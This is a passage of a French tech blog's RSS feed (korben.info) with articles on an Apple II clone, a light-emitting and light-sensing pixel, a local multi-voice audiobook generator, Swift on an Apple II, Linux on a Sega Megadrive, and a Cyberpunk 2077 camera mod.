&lt;a href="https://korben.info/sites-modeles-3d.html"&gt;top des sites où trouver des modèles 3D&lt;/a&gt;
à imprimer, ainsi qu'un outil pour
&lt;a href="https://korben.info/bumpmesh-textures-stl-impression-3d-navigateur.html"&gt;ajouter de la texture à vos impressions&lt;/a&gt;
.&lt;/p&gt;</content:encoded><category>hardware-diy/impression-3d</category><category>3d</category><category>DIY</category><category>impression 3D</category><category>imprimante 3D</category><category>maker</category><media:content url="https://korben.info/bateau-ballon-stl-impression-3d/bateau-ballon-stl-impression-3d-1.jpg" medium="image" type="image/jpeg" width="1920" height="1080"/></item><item><title>SB-mini-II - Il reconstruit un Apple II Plus de zéro</title><link>https://korben.info/apple-ii-clone-maison-sb-mini-ii.html</link><pubDate>Mon, 29 Jun 2026 19:21:36 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/apple-ii-clone-maison-sb-mini-ii.html</guid><description>&lt;p&gt;L'Apple II, ce vieux bouzin de 1977, n'a jamais eu le moindre secret pour personne. C'est d'autant plus vrai qu'Apple livrait carrément les schémas électronique de sa machine dans le manuel d'origine et à l'époque,
&lt;a href="https://archive.org/details/understanding_the_apple_ii"&gt;des bouquins entier décortiquant chaque circuit&lt;/a&gt;
étaient vendus dans le commerce.&lt;/p&gt;
&lt;p&gt;C'était fou et ça a bien changé depuis ! Mais surtout c'est grâce à ça que Simon Boak s'est dit qu'il pouvait en refaire un de zéro !&lt;/p&gt;</description><content:encoded>&lt;p&gt;L'Apple II, ce vieux bouzin de 1977, n'a jamais eu le moindre secret pour personne. C'est d'autant plus vrai qu'Apple livrait carrément les schémas électronique de sa machine dans le manuel d'origine et à l'époque,
&lt;a href="https://archive.org/details/understanding_the_apple_ii"&gt;des bouquins entier décortiquant chaque circuit&lt;/a&gt;
étaient vendus dans le commerce.&lt;/p&gt;
&lt;p&gt;C'était fou et ça a bien changé depuis ! Mais surtout c'est grâce à ça que Simon Boak s'est dit qu'il pouvait en refaire un de zéro !&lt;/p&gt;
&lt;p&gt;Son projet s'appelle le
&lt;a href="https://github.com/simonboak/SB-mini-II"&gt;SB-mini-II&lt;/a&gt;
, et c'est un clone maison de l'Apple II Plus assemblé avec des puces qu'on trouve encore aujourd'hui. Le 65C02 (la version CMOS du fameux 6502) tourne à 1,024 MHz, à un cheveu de l'original qui carburait à 1,023 MHz et au lieu de la DRAM capricieuse d'époque, il lui a collé de la SRAM statique (48 Ko sur une puce et demie de 32 Ko, le surplus part à la poubelle, tant pis).&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://korben.info/apple-ii-clone-maison-sb-mini-ii/apple-ii-clone-maison-sb-mini-ii-2.webp" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Et pour atteindre les 64 Ko complets, il enfiche à l'intérieur une carte Saturn 128K dans le slot 0, comme ça c'est réglé.&lt;/p&gt;
&lt;p&gt;Mais le plus gros morceau, ça a été la vidéo. Boak a viré toute la &amp;quot;circuiterie&amp;quot; composite de l'Apple II, un vrai sac de nœuds bien connu des anciens, pour la remplacer par une
&lt;a href="https://github.com/markadev/AppleII-VGA"&gt;carte Apple II VGA&lt;/a&gt;
(un projet open source de markadev).&lt;/p&gt;
&lt;p&gt;Celui lui a permis d'obtenir une image VGA bien nette sur un écran moderne. Autrement, sans cette carte, y'aurait rien eu à l'écran, malheureusmeent.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://korben.info/apple-ii-clone-maison-sb-mini-ii/apple-ii-clone-maison-sb-mini-ii-3.webp" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Et le clavier suit le même mouvement grâce à un Raspberry Pi Pico qui lui sert d'interface entre un clavier USB et la machine, en générant les mêmes signaux parallèles que le clavier ASCII d'origine. Bonus, Control + Print Screen redémarre le CPU comme aux temps jadis ! Et comme le Pico crache du 3,3V, il cause directement avec la logique 74HC en CMOS, sans le moindre convertisseur de niveau.&lt;/p&gt;
&lt;p&gt;Côté fabrication, c'est son premier PCB en 4 couches, avec des plans internes dédiés à l'alimentation. Une entrée 12V passe par un régulateur Pololu pour sortir du 5V, et le tout rentre dans un boîtier imprimé en 3D, vaguement inspiré du vieux disque dur ProFile d'Apple. Les fichiers (schémas, nomenclature, CAO) sont sur GitHub sous licence MIT, si jamais vous voulez vous lancer.&lt;/p&gt;
&lt;p&gt;Et ça tourne pour de vrai !! Boak a même posté une capture d'un vrai logiciel Apple II qui démarre dessus.&lt;/p&gt;
&lt;p&gt;Je suis nul en soudure, mais si je savais souder, ça me donnerait envie de m'y coller, je pense. D'ailleurs, si le rétro vous chatouille, allez voir aussi ce malade qui fait tourner
&lt;a href="https://korben.info/ms-dos-tourne-maintenant-sur-un-apple-iie-et-cest-un-projet-open-source.html"&gt;MS-DOS sur un Apple IIe&lt;/a&gt;
, ou ce
&lt;a href="https://korben.info/le-z80-est-mort-vive-le-picoz80-un-raspberry-pi-emule-le-processeur-mythique.html"&gt;Pico qui émule un Z80&lt;/a&gt;
.&lt;/p&gt;
&lt;p&gt;Bref, le SB-mini-II,
&lt;a href="https://github.com/simonboak/SB-mini-II/tree/main"&gt;c'est par ici, et c'est entièrement libre.&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://unimplementedtrap.com/sb-mini-ii-apple-ii-clone/"&gt;Source&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>hardware-diy/arduino-electronique</category><category>hardware-diy/impression-3d</category><category>jeux-video/retrogaming-emulation</category><category>Apple II</category><category>clone</category><category>DIY</category><category>Homebrew</category><category>open source</category><category>Raspberry Pi</category><category>rétro-informatique</category><category>retrocomputing</category><media:content url="https://korben.info/apple-ii-clone-maison-sb-mini-ii/apple-ii-clone-maison-sb-mini-ii-1.webp" medium="image" type="image/webp" width="900" height="675"/></item><item><title>La fin de l'encoche ? Des chercheurs suisses ont créé un pixel qui voit et qui s'affiche</title><link>https://korben.info/la-fin-de-lencoche-des-chercheurs-suisses-ont-cree-un-pixel-qui-voit-et-qui-saffiche.html</link><pubDate>Mon, 29 Jun 2026 18:48:33 +0200</pubDate><dc:creator>Vincent Lautier</dc:creator><guid>https://korben.info/la-fin-de-lencoche-des-chercheurs-suisses-ont-cree-un-pixel-qui-voit-et-qui-saffiche.html</guid><description>&lt;p&gt;Depuis dix ans, toute l'industrie du smartphone se galère avec le même problème, à savoir caser la caméra frontale sans bouffer de la place sur l'écran, ce qui nous a valu la tristement célèbre encoche, puis le poinçon, puis ces capteurs cachés sous la dalle qui rendent les selfies un peu flous. Une équipe de l'ETH Zurich, la grande école polytechnique suisse, vient de proposer une sortie de route radicale en concevant un pixel unique qui sait à la fois émettre et capter la lumière.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Depuis dix ans, toute l'industrie du smartphone se galère avec le même problème, à savoir caser la caméra frontale sans bouffer de la place sur l'écran, ce qui nous a valu la tristement célèbre encoche, puis le poinçon, puis ces capteurs cachés sous la dalle qui rendent les selfies un peu flous. Une équipe de l'ETH Zurich, la grande école polytechnique suisse, vient de proposer une sortie de route radicale en concevant un pixel unique qui sait à la fois émettre et capter la lumière.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://korben.info/la-fin-de-lencoche-des-chercheurs-suisses-ont-cree-un-pixel-qui-voit-et-qui-saffiche/la-fin-de-lencoche-des-chercheurs-suisses-ont-cree-un-pixel-qui-voit-et-qui-saffiche-1.jpg" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;L'écran lui-même deviendrait alors sa propre caméra, sans objectif rapporté, sans trou dans l'image.&lt;/p&gt;
&lt;p&gt;Les travaux ont été publiés dans la revue Nature sous le titre "Fourier pixels for bidirectional light control", et ils sortent du laboratoire d'ingénierie des matériaux optiques dirigé par le professeur David Norris.&lt;/p&gt;
&lt;p&gt;Le principe met un peu à mal une vieille évidence de l'électronique : jusqu'ici un pixel affichait et un capteur enregistrait, chacun sur son composant, sans jamais se mélanger.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://korben.info/la-fin-de-lencoche-des-chercheurs-suisses-ont-cree-un-pixel-qui-voit-et-qui-saffiche/la-fin-de-lencoche-des-chercheurs-suisses-ont-cree-un-pixel-qui-voit-et-qui-saffiche-2.webp" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;L'astuce ici c'est le "pixel de Fourier", du nom de l'analyse mathématique qui décompose un signal en une somme d'ondes simples. Sur une mince couche de métal, la lumière entrante se mue en onde de surface, un plasmon, c'est-à-dire une vibration d'électrons qui court le long de la puce, avant d'être réémise sous forme lumineuse.&lt;/p&gt;
&lt;p&gt;En jouant sur les interférences de ces ondes, un seul pixel parvient du coup à contrôler et à mesurer l'intensité, mais aussi la phase et la polarisation de la lumière, trois propriétés que nos écrans actuels ignorent.&lt;/p&gt;
&lt;p&gt;Pour démontrer le truc, l'équipe de Yannik Glauser et Sander Vonk a gravé ses motifs à quelques nanomètres près et reconstitué un "E" d'environ un millimètre de haut, lu directement par le dispositif. Les chercheurs ont même façonné des faisceaux en forme de beignet, percés en leur centre, histoire de prouver leur maîtrise sur la forme de l'onde.&lt;/p&gt;
&lt;p&gt;L'idée de fusionner émission et détection n'est pas tout à fait neuve en fait, des équipes américaines avaient déjà mis au point des nanobâtonnets capables d'afficher et de détecter, sauf qu'elles s'en tenaient à l'intensité. Là, c'est un pixel qui pilote le front d'onde entier, ce qui rend possibles des images bien plus fines qu'un simple capteur de luminosité.&lt;/p&gt;
&lt;p&gt;Norris évoque déjà des écrans-caméras filmant et affichant en même temps, des hologrammes, de la communication par la lumière et jusqu'au calcul quantique. Vaste programme donc.&lt;/p&gt;
&lt;p&gt;Sauf que bon attention quand même, on parle d'un unique pixel posé sur une paillasse, là où une dalle de smartphone en aligne plusieurs millions, et le chercheur reconnaît que l'étape suivante, les assembler en matrice, est loin d'être gagnée. Mais bon, au moins on avance !&lt;/p&gt;
&lt;p&gt;Source :
&lt;a href="https://www.nature.com/articles/s41586-026-10681-7"&gt;Nature&lt;/a&gt;
,
&lt;a href="https://www.theregister.com/science/2026/06/28/boffins-build-a-better-pixel-capable-of-emitting-and-receiving-light/5263388"&gt;The Register&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>actualites-business/science-recherche</category><category>hardware-diy</category><category>capteurs</category><category>ecran</category><category>encoche</category><category>Pixel</category><media:content url="https://korben.info/la-fin-de-lencoche-des-chercheurs-suisses-ont-cree-un-pixel-qui-voit-et-qui-saffiche/la-fin-de-lencoche-des-chercheurs-suisses-ont-cree-un-pixel-qui-voit-et-qui-saffiche-1.webp" medium="image" type="image/webp" width="2167" height="1185"/></item><item><title>Alexandria - Vos ebooks en livres audio multi-voix, en local</title><link>https://korben.info/alexandria-ebook-livre-audio-multivoix.html</link><pubDate>Mon, 29 Jun 2026 18:18:50 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/alexandria-ebook-livre-audio-multivoix.html</guid><description>&lt;p&gt;Je ne suis pas très client des livres audio parce que mon cerveau, en général, part faire des trucs dans son coin et je me retrouve à rien écouter du tout. Je préfère un petit podcast où ça rigole qu'une œuvre littéraire qui demande de la concentration.&lt;/p&gt;
&lt;p&gt;Mais je sais que vous appréciez beaucoup les livres audio et il arrive très souvent qu'un bouquin n'ait pas sa version audio. Un vieux roman qui n'est plus édité, un PDF technique, une fanfiction de 800 pages, un article de korben.info ou juste un truc que personne chez Audible ne prendra le temps d'enregistrer parce que ça n'intéresse que vous.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Je ne suis pas très client des livres audio parce que mon cerveau, en général, part faire des trucs dans son coin et je me retrouve à rien écouter du tout. Je préfère un petit podcast où ça rigole qu'une œuvre littéraire qui demande de la concentration.&lt;/p&gt;
&lt;p&gt;Mais je sais que vous appréciez beaucoup les livres audio et il arrive très souvent qu'un bouquin n'ait pas sa version audio. Un vieux roman qui n'est plus édité, un PDF technique, une fanfiction de 800 pages, un article de korben.info ou juste un truc que personne chez Audible ne prendra le temps d'enregistrer parce que ça n'intéresse que vous.&lt;/p&gt;
&lt;p&gt;Mais youpi, Finrandojin, un internaute, en a eu marre d'attendre l'audiobook de ses rêves et a codé Alexandria, un générateur de livre audio qui tourne 100% en local sur votre ordi.&lt;/p&gt;
&lt;p&gt;Vous balancez un fichier .txt, .md ou .epub, dans l'appli, puis un LLM découpe le texte et annote chaque ligne avec le personnage qui parle et la manière dont il le dit, puis le moteur
&lt;a href="https://github.com/QwenLM/Qwen3-TTS"&gt;Qwen3-TTS&lt;/a&gt;
joue le tout en local comme une vraie troupe de doubleurs professionnels. Et le résultat est assez propre, même si ça ne vaut pas encore un vrai enregistrement fait par un vrai humain. M'enfin, faute de mieux, pourquoi pas !&lt;/p&gt;
&lt;p&gt;Et surtout, ce LLM qui fait le découpage, vous le branchez où vous voulez. En local via LM Studio ou Ollama, ou dans le cloud avec OpenAI ou n'importe quelle API compatible. Ensuite, une fois le script annoté, Alexandria vous propose 9 voix pré-entraînées avec contrôle de l'émotion et du ton.&lt;/p&gt;
&lt;img src="https://korben.info/alexandria-ebook-livre-audio-multivoix/alexandria-ebook-livre-audio-multivoix-1.jpg" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;Vous pouvez aussi
&lt;a href="https://korben.info/voicebox-clonage-vocal-open-source.html"&gt;cloner une voix&lt;/a&gt;
à partir de 5 à 15 secondes d'échantillon, ou carrément en fabriquer une à partir d'une simple description écrite. Vous tapez par exemple &amp;quot;&lt;em&gt;Une voix masculine chaude et grave, au ton calme et posé&lt;/em&gt;&amp;quot; (c'est ma voix quoi...lol) et hop, il vous la fabrique.&lt;/p&gt;
&lt;p&gt;La fonctionnalité de génération de personnas fait également gagner un temps de dingue puisqu'en un clic, le LLM analyse le bouquin, invente une description de voix pour chaque personnage, génère l'audio de référence et assigne tout automatiquement.&lt;/p&gt;
&lt;p&gt;Et pour les obsédés du détail, il y a même un éditeur web où vous regénérez n'importe quelle ligne individuellement, du training LoRA pour vous fabriquer des voix persistantes, et un export en MP3 en pistes séparées pour bidouiller ça ensuite dans Audacity, ou en
&lt;a href="https://www.bookjack.app/blog/what-is-m4b-file-format/"&gt;M4B&lt;/a&gt;
chapitré qui rentre direct dans Audiobookshelf, Apple Books ou VLC. Et tout ça bien sûr, dans une dizaine de langues, français compris.&lt;/p&gt;
&lt;p&gt;Alexandria exigera par contre une carte graphique avec 8 Go de VRAM au minimum, 16 et plus si vous voulez du débit correct. Et si vous êtes sur Mac, mauvaise nouvelle, l'accélération MPS d'Apple Silicon n'est pas encore supportée, donc ça tournera en mode CPU, donc ce sera lent. Mais c'est pas très grave, vous lancez la génération, et vous retournez lire d'autres articles sur mon site pour passer le temps.&lt;/p&gt;
&lt;p&gt;Même galère aussi pour les gens qui ont de l'AMD sous Windows. Les chanceux par contre, ce sont les possesseurs de NVIDIA sous Windows ou Linux et les AMD sous Linux. Maintenant si vous tenez juste à faire
&lt;a href="https://korben.info/mlx-audio.html"&gt;parler votre Mac sans y passer trois heures par chapitre&lt;/a&gt;
, vous serez mieux servi ailleurs qu'avec Alexandria.&lt;/p&gt;
&lt;p&gt;Pour l'installation, le plus simple passe par
&lt;a href="https://korben.info/pinokio-automatiser-scripter-ia-un-clic.html"&gt;Pinokio&lt;/a&gt;
en deux clics, et si vous n'avez pas le GPU qui va bien, il y a un notebook Google Colab pour tourner sur un T4 gratuit dans le navigateur. Comptez quand même un téléchargement de 3,5 Go pour les modèles TTS à la première utilisation, ils ne sont pas inclus dans l'install.&lt;/p&gt;
&lt;p&gt;Vous l'aurez compris, c'est du DIY un peu gourmand en GPU, mais pour tous vos
&lt;a href="https://korben.info/lue-terminal-lecteur-ebook-tts-audio.html"&gt;ebooks à écouter&lt;/a&gt;
qui n'auront jamais de narrateur, ça ouvre les perspectives ! Le code est sous licence MIT et je vous invite quand même à tester avec un chapitre avant de vous lancer dans un roman entier.&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://www.xda-developers.com/most-useful-things-people-built-with-claude-code/"&gt;Source&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>intelligence-artificielle/ia-developpement</category><category>linux-open-source/logiciels-libres</category><category>multimedia-culture/livres-ebooks</category><category>audio</category><category>ebooks</category><category>IA générative</category><category>IA locale</category><category>livre audio</category><category>outil open source</category><category>synthèse vocale</category><media:content url="https://korben.info/alexandria-ebook-livre-audio-multivoix/alexandria-ebook-livre-audio-multivoix-1.png" medium="image" type="image/png" width="1672" height="941"/></item><item><title>Un développeur a fait tourner Swift sur un Apple II de 1977</title><link>https://korben.info/un-developpeur-a-fait-tourner-swift-sur-un-apple-ii-de-1977.html</link><pubDate>Mon, 29 Jun 2026 15:54:25 +0200</pubDate><dc:creator>Vincent Lautier</dc:creator><guid>https://korben.info/un-developpeur-a-fait-tourner-swift-sur-un-apple-ii-de-1977.html</guid><description>&lt;p&gt;Swift, le langage maison qu'Apple a sorti en 2014 pour remplacer le vieillissant Objective-C, vient de débarquer sur une machine qui a quarante-neuf ans de plus que lui. Yeo Kheng Meng, un bidouilleur basé à Singapour, a restauré un Apple II Plus puis s'est demandé jusqu'où il pouvait pousser ce vieux tromblon, ce qui a donné SwiftII, un petit environnement Swift qui tourne aussi bien sur l'Apple II d'origine de 1977 que sur les IIe qui ont suivi.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Swift, le langage maison qu'Apple a sorti en 2014 pour remplacer le vieillissant Objective-C, vient de débarquer sur une machine qui a quarante-neuf ans de plus que lui. Yeo Kheng Meng, un bidouilleur basé à Singapour, a restauré un Apple II Plus puis s'est demandé jusqu'où il pouvait pousser ce vieux tromblon, ce qui a donné SwiftII, un petit environnement Swift qui tourne aussi bien sur l'Apple II d'origine de 1977 que sur les IIe qui ont suivi.&lt;/p&gt;
&lt;div class="youtube-container"&gt;
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&lt;/iframe&gt;
&lt;div&gt;
&lt;p&gt;Le défi donne le vertige quand on connaît la bête. L'Apple II carburait à un processeur 6502 cadencé à 1 MHz avec 4 Ko de mémoire à sa sortie, là où Swift a été pensé pour des machines des milliards de fois plus puissantes, et il a fallu pousser la RAM à 48 Ko pour espérer y faire tenir quoi que ce soit.&lt;/p&gt;
&lt;p&gt;Plutôt que de traduire directement le code en instructions 6502, Yeo a repris une idée qu'Apple avait déjà eue en 1979 avec son Apple Pascal, qui consistait à compiler le programme en bytecode, c'est-à-dire un code intermédiaire générique, avant de l'exécuter dans une machine virtuelle, une sorte de processeur simulé en logiciel par-dessus le vrai. Presque un demi-siècle d'écart, et la même astuce pour contourner les limites du 6502.&lt;/p&gt;
&lt;p&gt;Le pipeline reste volontairement minimaliste pour grappiller chaque octet, puisque le code source passe dans un analyseur, puis un parser qui crache directement le bytecode sans construire d'arbre intermédiaire, le tout avalé par une petite machine virtuelle à pile largement inspirée du livre Crafting Interpreters de Robert Nystrom.&lt;/p&gt;
&lt;p&gt;Forcément, ce Swift-là est une version croupion. Il n'existe qu'un seul type de nombre, l'entier signé sur 16 bits, donc rien au-delà de -32 768 à 32 767, et surtout aucun nombre à virgule vu que le 6502 n'a pas de quoi calculer ça. Les chaînes de caractères sont du pur ASCII, les noms de variables plafonnent à onze caractères, et exit les closures, dictionnaires, gestion d'erreurs et autres async/await.&lt;/p&gt;
&lt;p&gt;Côté ce qui marche quand même, on récupère les let et var avec inférence de type, les conditions, les boucles, les fonctions, les optionnels, les tableaux et même l'interpolation de chaînes, de quoi écrire de vrais petits programmes. Le projet embarque d'ailleurs un jeu de motos lumineuses et quelques démos graphiques qui tournent pour de bon sur le matériel d'époque.&lt;/p&gt;
&lt;p&gt;La contrainte la plus délicate reste la mémoire, parce qu'une fois ProDOS chargé il ne reste qu'environ 40 000 octets pour votre programme, et comme le 6502 ne sait pas adresser davantage, il faut jongler avec des banques de mémoire commutées comme à la grande époque.&lt;/p&gt;
&lt;p&gt;Le tout est écrit en C90, compilé avec cc65, et distribué en neuf images disque différentes selon les machines visées. Détail savoureux, Yeo a bouclé ce chantier en deux mois avec l'aide de Claude Opus 4.8 et de Codex, là où il estime que seul, ça lui aurait coûté deux à trois ans de travail.&lt;/p&gt;
&lt;p&gt;Du coup, on a un langage de 2014 qui cause à une puce de 1977 grâce à une recette de 1979. C'est parfaitement inutile, et c'est exactement pour ça que c'est chouette.&lt;/p&gt;
&lt;p&gt;Source :
&lt;a href="https://hackaday.com/2026/06/27/bringing-swift-to-the-apple-ii/"&gt;Hackaday&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>developpement/langages-programmation</category><category>jeux-video/retrogaming-emulation</category><category>1977</category><category>Apple</category><category>appleII</category><category>langage</category><category>switft</category><media:content url="https://korben.info/un-developpeur-a-fait-tourner-swift-sur-un-apple-ii-de-1977/un-developpeur-a-fait-tourner-swift-sur-un-apple-ii-de-1977-1.jpg" medium="image" type="image/jpeg" width="1280" height="720"/></item><item><title>LinuxMD - du Linux sur la Sega Megadrive</title><link>https://korben.info/linux-sega-megadrive.html</link><pubDate>Mon, 29 Jun 2026 15:13:30 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/linux-sega-megadrive.html</guid><description>&lt;p&gt;Une Megadrive qui fait tourner du bon gros Linux qui tâche, vous en avez rêvé ? Hé bien Daniel Palmer l'a fait !!&lt;/p&gt;
&lt;p&gt;Le souci, c'est que le processeur 68000 de la console n'a pas de MMU, ce petit composant que Linux réclame normalement pour gérer la mémoire. Du coup Daniel a compilé le kernel dans un mode spécial qui s'en passe, ce qui est déjà un joli exploit.&lt;/p&gt;
&lt;p&gt;Autre problème, une Megadrive toute seule n'a pas assez de mémoire pour un kernel. L'astuce, c'est donc de passer par une cartouche. Un
&lt;a href="https://krikzz.com/our-products/cartridges/"&gt;Mega EverDrive&lt;/a&gt;
de chez Krikzz vient glisser 4 Mo de RAM dans la console, et hop, comme ça elle se transforme en mini-ordinateur le temps d'un boot.
&lt;a href="https://github.com/LinuxMD/linuxmd"&gt;Welcome LinuxMD !!&lt;/a&gt;
&lt;/p&gt;</description><content:encoded>&lt;p&gt;Une Megadrive qui fait tourner du bon gros Linux qui tâche, vous en avez rêvé ? Hé bien Daniel Palmer l'a fait !!&lt;/p&gt;
&lt;p&gt;Le souci, c'est que le processeur 68000 de la console n'a pas de MMU, ce petit composant que Linux réclame normalement pour gérer la mémoire. Du coup Daniel a compilé le kernel dans un mode spécial qui s'en passe, ce qui est déjà un joli exploit.&lt;/p&gt;
&lt;p&gt;Autre problème, une Megadrive toute seule n'a pas assez de mémoire pour un kernel. L'astuce, c'est donc de passer par une cartouche. Un
&lt;a href="https://krikzz.com/our-products/cartridges/"&gt;Mega EverDrive&lt;/a&gt;
de chez Krikzz vient glisser 4 Mo de RAM dans la console, et hop, comme ça elle se transforme en mini-ordinateur le temps d'un boot.
&lt;a href="https://github.com/LinuxMD/linuxmd"&gt;Welcome LinuxMD !!&lt;/a&gt;
&lt;/p&gt;
&lt;img src="https://korben.info/linux-sega-megadrive/linux-sega-megadrive-1.jpg" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;&lt;em&gt;Le menu de la cartouche Mega EverDrive, par lequel on lance le démarrage.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Vous branchez ensuite la cartouche à votre PC en USB, et là, le kernel se met à cracher du log sur votre terminal, comme une vraie machine !&lt;/p&gt;
&lt;p&gt;Et il y a même un mode qui affiche le shell directement sur la télé, avec un petit carré vert qui clignote pour dire que le kernel tourne, et un rouge pour l'activité du disque. Plutôt classe !&lt;/p&gt;
&lt;img src="https://korben.info/linux-sega-megadrive/linux-sega-megadrive-2.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;&lt;em&gt;Le shell Linux affiché sur la télé via la puce graphique de la Megadrive. Le carré vert qui clignote = le kernel tourne.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Après c'est lent. Daniel le dit lui-même, y'a de quoi vous faire un café entre deux commandes. Et si vous n'avez pas de Megadrive sous la main parce que les brocantes de geeks c'est pas votre truc, c'est pas grave, il a prévu un émulateur pour jouer avec sans avoir le matos.&lt;/p&gt;
&lt;p&gt;Bref, c'est pas très praticable, vous ne pourrez pas vous en servir comme d'un PC au quotidien mais c'est beau quand même !&lt;/p&gt;
&lt;p&gt;Source :
&lt;a href="https://hackaday.com/2026/06/29/its-linux-on-a-sega-megadrive/"&gt;Hackaday&lt;/a&gt;
&lt;/p&gt;</content:encoded><category>jeux-video/retrogaming-emulation</category><category>linux-open-source</category><category>console rétro</category><category>Everdrive</category><category>kernel</category><category>Linux</category><category>Megadrive</category><category>retrocomputing</category><category>Sega</category><media:content url="https://korben.info/linux-sega-megadrive/linux-sega-megadrive-1.png" medium="image" type="image/png" width="1672" height="941"/></item><item><title>True First Person Camera 2.0 - Votre vrai corps en vue FPS sur Cyberpunk</title><link>https://korben.info/cyberpunk-2077-mod-vue-ego-immersive.html</link><pubDate>Mon, 29 Jun 2026 13:39:34 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/cyberpunk-2077-mod-vue-ego-immersive.html</guid><description>&lt;p&gt;Alors oui, je sais, &lt;strong&gt;Cyberpunk 2077&lt;/strong&gt; vous montre déjà votre corps quand vous baissez les yeux en plein Night City, jambes comprises. C'est d'ailleurs suffisamment rare en vue FPS pour être souligné.&lt;/p&gt;
&lt;p&gt;Sauf que cette caméra à la première personne reste raide comme un piquet. La tête de votre personnage ne tourne pas toute seule, les reflets sont absents, les armes passent à travers le décor et la moto ne se penche jamais dans les virages. Ce sont tous ces petits détails qui chiffonnaient &lt;strong&gt;DigitalVixen&lt;/strong&gt; depuis des années, et après plusieurs réécritures complètes, ce moddeur vient enfin de sortir &lt;strong&gt;True First Person Camera 2.0&lt;/strong&gt; sur Nexus Mods pour rendre cette vue à la première personne beaucoup plus réaliste.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Alors oui, je sais, &lt;strong&gt;Cyberpunk 2077&lt;/strong&gt; vous montre déjà votre corps quand vous baissez les yeux en plein Night City, jambes comprises. C'est d'ailleurs suffisamment rare en vue FPS pour être souligné.&lt;/p&gt;
&lt;p&gt;Sauf que cette caméra à la première personne reste raide comme un piquet. La tête de votre personnage ne tourne pas toute seule, les reflets sont absents, les armes passent à travers le décor et la moto ne se penche jamais dans les virages. Ce sont tous ces petits détails qui chiffonnaient &lt;strong&gt;DigitalVixen&lt;/strong&gt; depuis des années, et après plusieurs réécritures complètes, ce moddeur vient enfin de sortir &lt;strong&gt;True First Person Camera 2.0&lt;/strong&gt; sur Nexus Mods pour rendre cette vue à la première personne beaucoup plus réaliste.&lt;/p&gt;
&lt;p&gt;Le principe utilisé par son mod, c'est de reconstruire entièrement la caméra FPS du jeu. Vous réglez la hauteur et la profondeur de la vue pour la poser exactement où vous voulez, et si vous jouez avec le ray tracing ou le path tracing + les reflets de joueur activés, votre tête apparaît enfin dans les miroirs et les vitres, ce que le jeu de base ne fait pas. Et surtout le mod sait doser automatiquement quand vous dégainez une arme ou quand vous regardez trop vers le bas, histoire d'éviter ce clipping cauchemardesque où vous voyez l'intérieur de votre propre mâchoire.&lt;/p&gt;
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&lt;p&gt;Et ça ne s'arrête pas au corps. Il y a un mode head look qui laisse votre tête tourner toute seule pendant que vous marchez, un système IK qui replace correctement vos armes par rapport à la nouvelle position de caméra, une cam de rechargement qui incline légèrement la vue façon ciné, et une animation de première prise en main pour bien admirer vos Mantis Blades la première fois que vous les sortez. Et sur la moto, la caméra se penche dans les virages quand vous allez à fond, et en bagnole vous avez de l'inertie qui fait tanguer la vue au freinage.&lt;/p&gt;
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&lt;p&gt;Et ces profils de caméra sont réglables par véhicule et sauvegardés en JSON. Cela vous permet donc de peaufiner les sensations, caisse par caisse.&lt;/p&gt;
&lt;p&gt;Et la grosse nouveauté de cette v2.0 c'est surtout la configuration in-game qui permet de paramétrer des raccourcis directement pendant le jeu. Suffit de mettre en pause et vous pouvez régler chaque valeur du mod comme bon vous semble. Plus besoin de quitter le jeu donc comme c'était le cas avant.&lt;/p&gt;
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&lt;p&gt;L'autre bonne idée de DigitalVixen, ça a été aussi d'exposer tous les effets de caméra (le shake, le battement de cœur quand vous êtes à l'agonie, la vue bourrée, le tremblement de froid) au travers de l'API que n'importe quel autre mod peut piloter.&lt;/p&gt;
&lt;p&gt;Cela veut dire que si vous branchez une météo ou un mode drogue, vous pouvez faire trembler votre caméra, en réglant évidemment tous les curseurs d'intensité comme bon vous semble. C'est cool hein ?&lt;/p&gt;
&lt;p&gt;Certains joueurs ont fait remarquer que pencher la tête fait aussi pencher tout l'horizon du jeu et que du coup, c'était un non-sens optique parce que dans la vraie vie, ça ne fait pas ça. Mais rassurez-vous, comme tout se paramètre, ça peut se régler.&lt;/p&gt;
&lt;p&gt;Si ça vous dit de tester ce mod sur votre install de Cyberpunk, c'est
&lt;a href="https://www.nexusmods.com/cyberpunk2077/mods/30558"&gt;dispo sur Nexus Mods&lt;/a&gt;
. Vous devrez juste installer une palanquée de dépendances.&lt;/p&gt;
&lt;p&gt;C'est quand même très cool de voir que + de 5 ans après sa sortie chaotique, Cyberpunk continue de vivre aussi grâce aux moddeurs. Et si vous voulez voir d'autres trucs nés autour du jeu, allez mater
&lt;a href="https://korben.info/il-a-recree-la-veste-a-ecran-de-cyberpunk-2077.html"&gt;la veste à écran de Cyberpunk&lt;/a&gt;
ou
&lt;a href="https://korben.info/cyberpunk-2077-film.html"&gt;le film monté par un fan&lt;/a&gt;
.&lt;/p&gt;
&lt;p&gt;
&lt;a href="https://www.pcgameshardware.de/Cyberpunk-2077-Spiel-20697/News/Cyberpunk-neu-entdecken-dank-Mod-mit-echter-Ego-Kamera-1546593/"&gt;Source&lt;/a&gt;
